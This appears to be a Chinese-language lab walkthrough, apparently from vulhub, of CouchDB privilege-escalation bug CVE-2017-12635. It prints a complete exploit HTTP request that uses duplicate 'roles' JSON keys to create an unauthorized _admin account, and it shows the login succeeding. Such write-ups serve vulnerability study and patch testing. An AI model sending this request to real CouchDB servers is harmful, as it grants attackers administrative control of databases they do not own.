Apache Couchdb 远程权限提升 (CVE-2017-12635)

Apache Couchdb 远程权限提升 (CVE-2017-12635)

Apache CouchDB 是一个开源的面向文档的 NoSQL 数据库,用 Erlang 实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用 JSON 来存储数据,使用 MapReduce 作为其查询语言的 JavaScript,以及作为 API 的 HTTP。

由于基于 Erlang 的 JSON 解析器和基于 JavaScript 的 JSON 解析器的差异,在 1.7.0 之前的 Apache CouchDB 和 2.1.1 之前的 2.x 中可以提交_users带有重复键的文档,roles用于数据库内的访问控制,包括特殊情况_admin角色,表示管理用户。

参考链接。

环境启动后,浏览http://192.168.44.132:5984/_utils/到一个网页,说明Couchdb已经启动成功。但是没有身份验证,您什么也做不了。

利用

这是添加用户的正常请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.44.132:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}

返回了 403 错误:{"error": "forbidden", "reason": "Only _admin may set roles"},这意味着只有管理员可以使用端点。

image-20210702120637358

通过发送包含重复roles的请求来绕过限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.44.132:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}

成功创建了一个用户vulhub,有密码vulhub

image-20210702120819383

登录成功。

image-20210702120939566

0%